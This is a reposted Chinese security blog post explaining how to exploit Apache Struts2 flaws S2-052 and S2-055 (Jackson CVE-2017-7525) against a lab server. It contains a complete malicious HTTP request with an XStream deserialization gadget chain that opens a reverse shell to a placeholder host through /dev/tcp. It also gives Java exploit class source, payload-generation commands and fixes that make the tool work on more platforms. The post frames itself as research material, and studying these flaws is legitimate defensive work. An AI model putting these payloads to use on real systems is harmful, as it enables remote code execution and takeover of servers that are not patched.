转载

Structs 全版本漏洞利用总结

前言

Structs2框架目前已知的漏洞编号如下:

  • S2-005

  • S2-009

  • S2-016 (含S2-013)

  • S2-019

  • S2-020

  • S2-021

  • S2-032

  • S2-037(含S2-033)

  • DevMode

  • S2-045

  • S2-046

  • S2-048

  • S2-052

  • S2-055

  • S2-057

    目前公开的工具,唯独缺失052和055的利用。S2-055比较特殊,严格来说055本身无问题,问题出在其使用的Jackson版本过低在进行JSON反序列化的时候没有任何类型过滤导致远程代码执行。也就是说S2-055本质上是Jackson反序列化,其CVE编号为CVE-2017-7525。本文将对缺失的S2-055以及S2-052做漏洞复现,至于其他版本的利用可参见下图的工具。

  • Structs 全版本漏洞利用总结

    检测工具

S2-052

使用搭建的环境,点击任意一个edit并submit一次,截包报文,修改 Content-Typeapplication/xml

Structs 全版本漏洞利用总结

Edit

Structs 全版本漏洞利用总结

Submit

Structs 全版本漏洞利用总结

application/xml

完整的数据包payload如下


 

POST /st2-052/orders/5 HTTP/1.1

Host: 192.168.50.129:8080

Content-Length: 1720

Cache-Control: max-age=0

Origin: http://192.168.50.129:8080

Upgrade-Insecure-Requests: 1

Content-Type: application/xml

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Referer: http://192.168.50.129:8080/st2-052/orders/5/edit

Accept-Encoding: gzip, deflate

Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6

Cookie: JSESSIONID=1109456161E6ECD09D5B4A28122050D7; ADMINCONSOLESESSION=2hUOycdoVZXd7JWNrE9MQ5-QczsMItp1AJpSHSyKvb6U95SBCn8o!853562462; JSESSIONID=D1gPM88rMDIA-n-pCtKwlFFiNS6ewwWI5-qkkJ5NcDRbOIIZGq86!-1979873897

Connection: close


<map>

<entry>

<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/bin/bash</string> <string>-c</string> <string>bash -i >& /dev/tcp/vpsip/port 0>&1</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>

</entry>

</map>

我这里给出的是反弹shell的payload,你可以修改为自己想要执行的命令。

Structs 全版本漏洞利用总结

反弹shell

S2-055 && CVE-2017-7525

影响情况

受影响的版本

Jackson Version 2.7.* < 2.7.10

Jackson Version 2.8.* < 2.8.9

不受影响的版本

Jackson Version 2.7.10

Jackson Version 2.8.9

漏洞环境搭建

去iBearcat的gayhub下载漏洞war包

war包直链:https://raw.githubusercontent.com/iBearcat/S2-055/master/struts2-rest-showcase.war

为了方便将其改名为 st2-055.war ,放到tomcat的webapps下,它会自动解压

Structs 全版本漏洞利用总结

st2-055.war

我们访问http://ip:8080/st2-055/即可

Structs 全版本漏洞利用总结

访问

EXP准备

我们使用以下代码生成payload需要的class


 

ExploitCommand.javapackage exploit;


import com.sun.org.apache.xalan.internal.xsltc.DOM;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.BufferedReader;

import java.io.IOException;

import java.io.InputStreamReader;


public class ExploitCommand extends AbstractTranslet {

public ExploitCommand() throws Exception {

try {

BufferedReader br = null;

Process p = Runtime.getRuntime().exec("notepad");

br = new BufferedReader(new InputStreamReader(p.getInputStream()));

String line = null;

StringBuilder sb = new StringBuilder();


while((line = br.readLine()) != null) {

sb.append(line + "/n");

System.out.println(sb.toString());

}


System.out.println("/n[*] Payload it's ok!!!!");

} catch (IOException var5) {

var5.printStackTrace();

}


}


public static void main(String[] args) throws Exception {

new ExploitCommand();

}


public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}


public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}

这里又调用了JavaRuntime的exec了,所以如果你需要执行复杂命令,你需要使用JavaRuntime转义

运行上面的代码,你的编译环境如果匹配你想要执行的命令,编译机器同样也会执行相应的命令。举个例子,你的编译环境是win,但你编译的命令是 nautilus ,你编译时控制台会发生报错,找不到这个program。没关系,我们需要编译以后的class就行了,不需要真的在编译环境执行命令。

Structs 全版本漏洞利用总结

编译以后的class

接下来,我们需要准备生成payload的项目

iBearcat已经准备好了生成需要用的jar,但是兼容性有问题,它并不能用在Unix上,也就是macOS和Linux被拒之门外。

Structs 全版本漏洞利用总结

兼容性问题

我尝试对该jar包反编译,发现了问题所在。

Structs 全版本漏洞利用总结

问题所在

Structs 全版本漏洞利用总结

问题所在

没错,问题出在那个斜杠上面,我们只需要/改为//即可。

Structs 全版本漏洞利用总结

macOS

Structs 全版本漏洞利用总结

Win10

经过我反编译以后,重新打包,可以正常使用并且兼容两个版本。

payload生成的命令为: java -jar JacksonExp.jar ExploitCommand.class clientName

坑点

1.tomcat的用户

首先,如果你需要做一些弹出类的命令操作,一定要记得选择压缩包版本的tomcat,因为压缩包版的用户是你的系统用户。假如你在root下运行tomcat,此时你tomcat的用户也是root。但如果你使用的是yum或者apt安装的tomcat,它的用户将是tomcat,所以你不能执行一些弹出类的命令,例如 nautilus

2.ExploitCommand.class的编译

ExploitCommand.class是直接决定你能否exploit成功的关键。ExploitCommand.class编译时的jdk版本一定要和靶机的jdk版本一致,也就是说要成功利用反序列化,jdk必须为<=1.7.不论是编译jdk还是靶机jdk都需要为<=1.7.具体原因是jdk1.7到jdk1.8, com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类有了变化,才导致反序列化利用失败的。

弹个文件管理器

解决了坑点问题,我们就可以愉快的弹出文件管理器了。

首先,我们点击Create a new order

Structs 全版本漏洞利用总结

Create a new order

然后点击Submit使用Burpsuite拦截报文

Structs 全版本漏洞利用总结

Submit

我们修改Content-Type的值为application/json,且将JacksonExp.jar生成的payload粘贴到下方即可

Structs 全版本漏洞利用总结

Content-Type

然后点击go即可弹出文件管理器

Structs 全版本漏洞利用总结

弹出文件管理器

我们的控制台会有相应的提示

Structs 全版本漏洞利用总结

控制台

检测方法

Structs 全版本漏洞利用总结

Freddy 2.0

目前Jackson类的漏洞,最好的检测方式就是使用BurpSuite安装Freddy 2.0这个插件,它会自动基于流量进行识别。

利用难点

S2-055这个漏洞,利用极为苛刻,因为jdk限制版本且需要有一个参数满足是对象类的条件。因为漏洞环境给出的参数为clientName,所以为什么生成payload命令的参数填写的是clientName。在实战时,要根据实际的参数进行调整。也许这就是为什么055缺失在一键化工具中的原因吧。

参考

https://github.com/iBearcat/S2-055

__________________________________________________________

声明:本文章来自清水川崎投稿, 仅供白帽子、安全爱好者研究学习,对于用于非法途径的行为,发布者及作者不承担任何责任。

我们建立了 一个以知识共享为主的 免费 知识星球,旨在通过相互交流,促进资源分享和信息安全建设,为以此为生的工作者、即将步入此行业的学生等提供各自之力。为保持知识星球长久发展,所有成员需遵守本星球免费规则,鼓励打赏;同时保持每月分享至少一次资源(安全类型资源不限,但不能存在一切违法违规及损害他人利益行为),避免“伸手党”,即使新人我们也鼓励通过分享心得和笔记取得进步,“僵尸粉”将每月定期清理。

Structs 全版本漏洞利用总结

想加入我们的微信群,目前聚集了来自全球信息安全公司的 CEO,安全部门主管,技术总监,信安创业者,网络安全专家,安全实验室负责人,公司HR ,在这里你将获得高质量的技术交流空间,更多的内推高薪信息安全岗位, 更多与安全大咖们面对面交流的机会。 可以扫码添加我的微信,需提供真实有效的公司名称+姓名,验证通过后可加入···

Structs 全版本漏洞利用总结

Structs 全版本漏洞利用总结

原文  https://mp.weixin.qq.com/s?fontRatio=1&__biz=MzUyNTk1NDQ3Ng==&mid=2247484344&idx=1&sn=4408a0341b110f6eb707e05203d64f20&scene=94&subscene=315&passparam=searchid=17318145266004472006&ascene=0&devicetype=android-28&version=2700043b&nettype=WIFI&abtest_cookie=BAABAAoACwASABMABgAjlx4AVpkeAMCZHgDcmR4A pkeAAOaHgAAAA==&lang=zh_CN&pass_ticket=sdFZ5 SbzuewGATLoF3bvt5PjEN91A/KFvtzmn vykrleJEhFUtIoRsdXNSf4VYd&wx_header=1
正文到此结束
Loading...